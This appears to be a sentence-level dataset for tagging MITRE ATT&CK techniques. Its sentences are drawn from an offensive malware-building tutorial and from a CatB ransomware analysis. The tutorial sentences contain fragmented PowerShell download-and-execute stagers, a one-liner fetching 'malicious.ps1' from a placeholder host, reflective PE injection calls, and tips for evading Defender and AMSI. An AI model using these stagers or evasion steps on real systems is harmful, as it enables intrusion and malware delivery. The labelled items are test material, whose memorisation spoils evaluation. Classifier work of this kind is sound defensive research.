{"sentence": "In this case we choose to host it online for multiple reasons: Usually, attackers employs techniques by leveraging third-party services such pastebin.com and similars, to store piece of code or stagers.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This method of operation, widely utilized by advanced threat actors, is a classic within the realm of Advanced Persistent Threats (APTs).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By employing multiple layers of staging, the attacker artfully conceals the true nature of the malware, placing it several steps removed from the initial infection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "def get_pub_key(): \"\"\"Get SSH pub key from third party service\"\"\" try: global PRIVATE_KEY global AUTHORIZED_KEY url = \"https://pastebin.com/raw/XXXXXXX\" r = requests.get(url) if r.status_code == 200: pub_key", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Error: Could not get SSH pub key')", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As we can see, in this approach we take a different path by avoiding the hardcoding of the pub_key and instead harnessing the advantages provided by services such as pastebin.com, transfersh.com or similar services.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It offers flexibility in determining the number of allowed downloads and the duration for which files will be stored.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Additionally, some of these platforms even allow for modifying the content of generated URI, enhancing the adaptability and control over the shared resources.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By embracing this approach, we could have the capability to generate fresh RSA key pairs, empowering our tool to download a different key in the subsequent system reboot.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This becomes particularly valuable when pursuing persistence objectives.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "They allow us to detect specific events or actions with an extensive range of options to create decoy assets, each designed to provide valuable intelligence and real-time notifications: from email alerts to webhook integrations and many other features for monitoring and security needs.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "For further information check official site: https://canarytokens.org/generate", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In our case, we could configure the script to perform a designated action if the URI is no longer accessible, such as notifying us if the file has been removed.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "When the script fails to download the id_rsa.pub key, it triggers a canary token, which generates a signal after encountering a 404 error status code.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Dynamic and crypted AUTH Ngrok Token", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In MaccaroniC2 original tool, the Ngrok Auth Token is hardcoded also.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this scenario, we’ll apply a similar approach as before, but with a slight twist: we want to avoid publicly uploading our token in plain text.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "To achieve this, we’ll encrypt the token and upload it to a file-sharing service like transfersh.com The script will download and decrypt the string that represents the token.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This decryption process utilizes the Fernet algorithm, ensuring the secure retrieval and utilization of the token.", "labels": ["T1140", "T1573.001"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Fernet is a symmetric encryption algorithm and token format used for secure communication and data protection.", "labels": ["T1573.001"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It is a part of the cryptography library in Python called “cryptography.”", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It utilizes symmetric key cryptography, where the same secret key is used for both encryption and decryption.", "labels": ["T1573.001"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It ensures confidentiality and integrity of data by combining encryption with a message authentication code (MAC).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The Fernet token format includes the encrypted data and a timestamp to prevent tampering.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "crypted_data = r.text.strip('\\n') return fernet_decrypt(crypted_data, password_for_decrypt) elif r.status_code == 404:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Error: Could not get AUTH Token')", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The provided code includes two functions: fernet_decrypt and get_auth_token.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The fernet_decrypt function decrypts an encrypted string representing the Ngrok AUTH Token using a harcoded password.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It returns the decrypted message as a decoded string.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The get_auth_token function retrieves the AUTH Token from a third-party service, in this example pastebin.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If the response is successful, it use the harcoded password for decryption using the fernet_decrypt function, and returns the decrypted AUTH Token.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If the response status code is 404, we can say attack is concluded and we could insert a potential a canary token for notification purposes .", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s designed to convert Python code into highly optimized C/C++ code, which is then compiled into native machine code.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The resulting executable can be distributed and executed without requiring the Python interpreter to be installed on the target system.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "When it comes to compiling malware, Nuitka offers some potential advantages over other Python compilers such as PyInstaller or Py2exe:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This can be advantageous for malware authors who want their malicious code to execute more efficiently and quickly.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Code Protection:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Nuitka Compiler employs various optimization techniques and obfuscation mechanisms during the compilation process.", "labels": ["T1027"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This can make the resulting executable more challenging to reverse-engineer and analyze, adding an extra layer of protection for the malware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Detection Evasion:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As Nuitka Compiler generates native machine code, it can potentially evade certain signature-based detection methods used by security tools that primarily focus on detecting interpreted Python scripts.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This may offer a limited advantage in evading detection by some antivirus or security solutions.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "python -m pip install nuitka python", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "-m nuitka --standalone --onefile maccaronic2_server.py Our newly generate PE file is ready to go.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This will allow us to evaluate the effectiveness of our malware in evading the defensive measures implemented by Windows Defender.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Nice !", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In the absence of advanced evasion techniques such as binders, packers, and crypters, our ‘malware’ effectively bypasses Windows Defender without relying on complex obfuscation methods.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Let’s try on VirusTotal Not bad !", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "While some vendors were able to spot the malware itself, they seemed to focus on detecting the use of the Nuitka compiler.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "However, it is crucial to remember that this approach requires a deep understanding of both malware detection techniques employed by antiviruses.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It should be noted anyway in the world of real malware development, seasoned and skilled adversaries often turn to programming languages such as C and C++ to craft their malicious creations at a lower level.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "These languages allow direct memory manipulation, access to system APIs, and the ability to write efficient and optimized code.", "labels": ["T1106"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Windows Shortcut (LNK) “Weaponize” is a term that refers to the first phase of the kill chain and it is categorized as the Build Capabilities technique under Resource Development tactic of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The goal is to create and deliver the first payload to the target according to the environment.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "These files have been used as an attack vector as early as 2013.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "For example, the APT group Gamaredon has put LNK files to work, including a campaign that started in August 2022 against organizations in Ukraine.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient).downloadString('http://IP:PORT/malicious.ps1')\" The .ps1 file could be a simple stager download of an .exe file and its execution.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This is a clever technique that has been used for years, including in the Stuxnet attacks that were first uncovered in 2010.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s an effective technique because it exploits a fundamental feature of Windows, which is to automatically launch executables using the metadata stored in the LNK file.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The .ps1 file can also be a complex script that can also achieve persistence with more functionalities.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this case, the PowerShell one-liner will find, decrypt, and execute code appended to the original file.", "labels": ["T1140"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Lastly, this will run a series of “stagers” with the object to delivery the final malware inside the victim’s computer.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "One Shot, One Kill – Upload PE File Before start coding the .ps1 stager, we need to upload the PE file build early, using transfersh.com: curl -H \"Max-Downloads: 1\" -H \"Max-Days: 5\" --upload-file ./final_server.exe", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "https://transfersh.com/WindowsUpdate Output: https://transfersh.com/XXXXXXXX/WindowsUpdate After one download the file will be deleted and link will returns a 404 error.", "labels": ["T1070.004"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Powershell Stager / Dropper $down = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient $url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' $file =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "DownloadFile($url, $file) $exec = New-Object -ComObject shell.application $exec.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This is a simple PowerShell script that downloads a file from a fixed location and executes it.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The WebClient class provides common methods for sending data to and receiving data from a resource identified by a URI.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "$url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' This line sets the value of the $url variable to the URL of the file to be downloaded.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe')", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line uses the Combine method of the Path class to combine the temporary folder path (retrieved using the GetTempPath method) with the file name ‘WindowsUpdate.exe’.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The resulting path is assigned to the $file variable. $down.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "DownloadFile($url, $file)", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line uses the DownloadFile method of the WebClient object to download the file from the specified URL and save it to the specified local file path.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Application COM object and assigns it to the $exec variable.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The Shell.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Application object provides methods for working with the Windows shell.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "$exec.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This line uses the ShellExecute method of the Shell.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Application object to execute the downloaded file.", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "But we want more.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It’s important to note that we have previously configured the Max-Download parameter to a one-shot only download.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In addition to the previous modifications, we now aim to keep track of every attempt to execute our stager after the initial compromise: whenever a 404 error is detected, indicating that the file is no longer available on the server, we’ll request a URL using canarytokens.org As said early this serves as a signal to log the event and provides valuable information for monitoring and analysis purposes.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Powershell Stager with trigger $down = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $request =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[System.Net.WebRequest]::Create($url) $request.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Method = 'HEAD' $response = $null try { $response = $request.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "ShellExecute($file) } } catch [System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebException] { $statusCode =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[int]$_.Exception.Response.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "StatusCode if ($statusCode -eq 404) { # File not found, make a GET request to a fixed URI generated on canarytokens.org $fixedUrl = 'http://canarytokens.com/feedback/about/XXXXXXXXXX/submit.aspx' $response = $down.DownloadString($fixedUrl) } else { throw } } By implementing a smart error handling mechanism we can enhance our system’s monitoring capabilities: upon receiving a 404 response from a specific URL, we can trigger a subsequent GET request to a fixed URI generated on canarytokens.org.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This script will not trigger AMSI (Antimalware Scan Interface), providing an advantage in evading detection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "h .\\download-execute_full.ps1 -o obfuscated_stager.ps1", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By incorporating obfuscation techniques our script becomes a little bit more challenging to analyze.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It should be noted that this entire procedure will leave traces on filesystem.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The PE file is downloaded on filesystem and than executed.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "To enhance operational security, we can employ a clever alternative approach that eliminates the need to download files directly onto the victim’s computer: PE reflective injection.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Reflective PE injection Reflective PE injection is a technique used by malware or advanced attackers to inject a Portable Executable (PE) file directly into the memory of a running process without the need for writing the file to disk.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Unlike traditional injection methods, which involve loading an external DLL or injecting code into the target process, reflective PE injection allows the malware to load and execute its code directly from memory.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The term “reflective” refers to the ability of the injected code to reflect upon itself and perform necessary operations to execute within the process’s memory space.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This technique is often employed to bypass security mechanisms that monitor or block external DLL loading or code injection.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In reflective PE injection, the PE file is parsed and its sections are reconstructed in the target process’s memory.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The necessary data structures, such as headers and import tables, are reconstructed as well.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "By doing so, the injected code can appear as a legitimate part of the process, making it more difficult to detect and analyze.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Once the PE file is injected and reconstructed in memory, the execution flow can be redirected to the injected code, enabling the malware to operate within the context of the compromised process.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This technique provides several advantages to attackers, including stealthiness, persistence, and the ability to leverage the privileges and resources of the compromised process.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "PowerSploit does provide a module called “Invoke-ReflectivePEInjection” that facilitates reflective PE injection using PowerShell.", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This module allows the injection of a PE file into a remote or local process’s memory without writing it to disk, but being a well-known and widely-used tool, it has gained significant attention from security vendors and technologies, including the Antimalware Scan Interface (AMSI).", "labels": ["T1055"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "As a result, AMSI has become increasingly adept at detecting and flagging the usage of PowerSploit’s modules and techniques and other famous tools.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Powershell Stager with Invoke-ReflectivePEInjection (New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "WebClient $PEBytes = $webClient.DownloadData($remoteUrl) Invoke-ReflectivePEInjection -PEBytes $PEBytes We can host this script somewhere and then run as usually in a fancy oneliner like: powershell -nop", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "-exec bypass -c \"(New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this way, we can directly run the executable in the memory of a running process without the need to write the file to disk.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "We will also explore cutting-edge countermeasures to enhance our offensive capabilities.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Exploring advanced exfiltration techniques, enabling the covert transfer of sensitive data from target environments.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Spawning new Command and Control (C2) agents, expanding our reach and maintaining resilient communication channels.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Hijack Execution Flow: the art of DLL Side-Loading ! Thank you for reading!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "References Happy 0 0 % Sad 0 0 % Excited 1 100 % Sleepy 0 0 %", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The CatB ransomware family, sometimes referred to as CatB99 or Baxtoy, was first observed in late 2022, with campaigns being observed steadily since November.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "The group’s activities have gained attention due to their ongoing use of DLL hijacking via Microsoft Distributed Transaction Coordinator (MSDTC) to extract and launch ransomware payloads.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "String similarities in the ransom notes as well as modifications left by the ransomware payloads suggest that CatB may be either an evolution or direct rebrand of the Pandora ransomware, which was active in early to mid-2022 and targeted the automotive industry.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "In this post, we offer a technical analysis of the CatB ransomware and its abuse of the legitimate MSDTC service, describing its evasion tactics, encryption behavior, and its attempts to steal credentials and browser data.", "labels": ["T1552.001"], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "CatB Ransomware Technical Information CatB payloads are distributed as a two DLL set.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "A dropper DLL is responsible for initial evasive environmental checks as well as dropping and launching the second DLL, which serves the ransomware payload.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "CatB Ransomware Process Graph First, the dropper is distributed in the form of a UPX-packed DLL (versions.dll).", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "This dropper deposits the second DLL payload (oci.dll) onto the target host.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "The dropper DLL is responsible for any sandbox evasion techniques required by the threat actor.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Sandbox evasion inhibits the analysis process and ultimately leads to more time in the target environment for the attacker.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "CatB performs three primary checks in an attempt to determine if the payload is being executed within a virtual environment.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Upon execution, CatB payloads rely on DLL search order hijacking to drop and load the malicious payload.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Oci.dll payloads in System32 (view from Singularity Console)", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "The malware then abuses the MSDTC service, manipulating the permissions and startup parameters.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Taskill.exe is used to terminate the msdtc.exe process once the service configuration changes have been made.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Msdtc.exe termination syntax CatB ransomware excludes the following files and extensions from the encryption process: .msi, .dll, .sys, .iso and NTUSER.DAT.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "By default, the oci.dll payload will attempt to encrypt C:\\users (crawl whole tree), I:, H:, G:, F:, E:, and D:.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Local encryption targets in oci.dll The lack of post-encryption alterations is a trait that sets CatB apart from other contemporaries.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Per the ransom note, the only way to engage the threat actor is via email at the provided catB9991 protonmail address.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "The ransom price is set to increase each day for five days and, following the fifth day, there will be “permanent data loss” if the victim does not comply.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Based on observations, there is no evidence to indicate that CatB operators are generating payment wallets for each victim as the Bitcoin address provided is not unique to each sample.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Generation of unique key file A key file is deposited onto each infected host in c:\\users\\public\\. This file must be included in email correspondence with the attackers as it is, ideally, a unique identifier for each victim or host.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "Key file dropped for each victim Example CatB ‘key’ file Credential and Browser Data Theft", "labels": ["T1552.001"], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "In addition to file encryption and obfuscation, the CatB malware will attempt to gather specific, sensitive information from targeted systems.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "This includes browser session and credential data.", "labels": ["T1552.001"], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
{"sentence": "The ransomware contains functionality to discover and extract user data from Mozilla Firefox, Google Chrome, Microsoft Edge as well as Internet Explorer.", "labels": [], "doc_title": "CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"}
